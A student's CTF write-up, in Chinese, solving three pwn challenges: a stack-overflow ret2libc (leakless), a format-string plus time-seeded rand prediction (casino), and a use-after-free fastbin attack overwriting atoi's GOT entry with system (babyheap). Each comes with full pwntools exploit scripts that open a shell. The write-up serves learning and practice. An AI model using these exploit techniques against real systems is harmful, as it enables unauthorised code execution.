本来在之前没搞完的jarvisOJ那边遇到了问题,想问学长来着,结果被拉过来看看这个比赛,被自己菜哭
leakless 题目 1 2 char buf; // [esp+0h] [ebp-48h] return read(0, &buf, 0x100u);
分析 一个简单的栈溢出,第一反应是去泄露libc版本,后面又突然想着把shellcode写到bss段,但是奈何总是不成功,vmmap才发现bss段不可执行,且不存在能够wx的段,因为以前用LibcSearcher没成功(ps:完全不记得为什么),偏偏用DynElf爆破失败,所以还是转向LibcSearcher.
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import * from LibcSearcher import * context.log_level = 'debug' sh = process('./leakless') libc = ELF('./leakless') pay = 'a'*0x48 + 'bbbb' + p32(libc.symbols['puts'])+p32(libc.symbols['feedme']) +p32(libc.got['puts']) sh.sendline(pay) puts_got_addr = u32(sh.recv(4)) print "puts_got_addr: "+hex(puts_got_addr) obj = LibcSearcher("puts",puts_got_addr) system_addr = puts_got_addr - obj.dump('puts')+obj.dump("system") binsh_addr = puts_got_addr - obj.dump('puts') + obj.dump("str_bin_sh") success( "system_addr: "+hex(system_addr)) success("binsh_addr: "+hex(binsh_addr)) pay = 'a'*0x48 + 'bbbb' + p32(system_addr) + p32(libc.symbols['main']) + p32(binsh_addr) #gdb.attach(sh) sh.sendline(pay) sh.interactive()
casino 题目 用户输入的值与随机数匹配成功100次,之后会读取flag.txt文件并输出。
1 2 3 4 seed = (unsigned int)time(0LL) / 10; seed += bet;(bet=1) srand(seed); rand();
分析 格式化字符串漏洞,但是大小限制在了0x10,能够泄露出来seed,也就能预测第一次的值,然后因为要泄露100次,想着顺便把栈上的记录次数的值或者bet一起改掉,但是因为长度限制,最后有点懵。感觉二者不可得兼。
看大佬们的wp,因为seed是用time(0)/10+ bet ,可以先自己先利用time将seed计算出来,然后计算rand();因为python和c的rand()不同,所以得考虑如何将在python脚本中计算c的随机数,可以有:
单独写一份c的程序计算随机数,脚本中调用c程序(昨天也是这么做的);
使用python和c的混合编程包:ctypes。
经实践,同一个seed得到的随机数序列都是一样的…,而题中通过time(0)/10对seed给了容错
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import * from time import * context.log_level='debug' now=int(time())/10+2 sh=process("./timerand") ### #include<stdio.h> int main() { int i; int seed; scanf("%d",&seed); srand(seed); for(i = 0; i < 100; i++) { printf("%d ",rand()); } printf("\n"); } ### sh.sendline(str(now)) rand=sh.recvuntil("\n").strip().split(" ") print rand sh.close() #sleep(0.5) #sh=remote("challs.fireshellsecurity.team",31006) sh=process('./casino') sh.sendafter("What is your name? ","aa%11$hn"+p64(0x602020)) #gdb.attach(sh) for i in range(99): sh.sendlineafter("number: ",rand[i]) print sh.recv() sh.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * from ctypes import cdll sh = process("./casino") sh.recvuntil('What is your name? ') sh.send("%8$p") sh.recvuntil('Welcome ') seed =eval(sh.recvuntil('\n',drop=True))&0xffffffff <--- 数据类型转换成int型 print seed sh.close() seed += 3 <----还是不清楚这个3怎么计算出来的,或许是因为两个程序打开具有延迟?? libc = cdll.LoadLibrary("") <--- 突然发现这里为空也不影响?? libc.srand(seed) sh = process('./casino') pay = 'aaa%11$n'+p64(0x602020) sh.recvuntil('What is your name? ') sh.send(pay) for i in range(99): sh.sendlineafter("Guess my number: ",str(libc.rand())) sh.interactive()
babyheap 题目 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 int create() { int result; // eax buf = malloc(0x60uLL); result = puts("Done!"); create_inuse = 1LL; return result; } ssize_t edit() { ssize_t result; // rax printf("Content? "); result = read(0, buf, 0x40uLL); edit_inuse = 1LL; return result; } int show() { int result; // eax result = printf("Content: %s\n", buf); show_inuse = 1LL; return result; } int delete() { int result; // eax free(buf); // UAF result = puts("Done!"); create_inuse = 0LL; delete_inuse = 1LL; return result; } __int64 fill() { buf = malloc(0x60uLL); printf("Fill "); read(0, buf, 0x40uLL); return fill_inuse++ + 1; }
分析 各项功能除了次数检查基本没有限制,所以在有限的步骤内将chunk分配到
1 2 3 4 5 6 .bss:00000000006020A0 create_inuse .bss:00000000006020A8 edit_inuse .bss:00000000006020B0 show_inuse .bss:00000000006020B8 delete_inuse .bss:00000000006020C0 fill_inuse .bss:00000000006020C8 ; void *buf
我们可以使用UAF漏洞+fastbinattack达到目的,这样不仅消除了次数限制问题,同时可以随意修改指针 所以之后便是先泄露libc基址,之后修改atoi.got表为system,输入’/bin/sh’即可
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import * context.log_level='debug' def new(): sh.sendlineafter("> ","1") def edit(note): sh.sendlineafter("> ","2") sh.sendafter("Content? ",note) def delete(): sh.sendlineafter("> ","4") def show(): sh.sendlineafter("> ","3") sh.recvuntil("Content: ") return sh.recvuntil("\n") def fill(note): sh.sendlineafter("> ","1337") sh.sendafter("Fill ",note) sh=process("./babyheap") elf = ELF("./babyheap") libc = ELF("./libc.so.6") new() delete() edit(p64(0x602095-8)) new() fill('/bin/sh'+chr(0)+'a'*0x33+p64(0x602060)[0:3]) #gdb.attach(p) sh.sendline('3') sh.recvuntil('Content: ') libc_addr = u64(sh.recvuntil('\n')[:-1].ljust(8,'\x00'))-libc.plt['atoi'] print "libc_addr : " + hex(libc_addr) #gdb.attach(p) system_addr = libc_addr + libc.plt['system'] edit(p64(system_addr)) sh.sendline('/bin/sh') sh.interactive()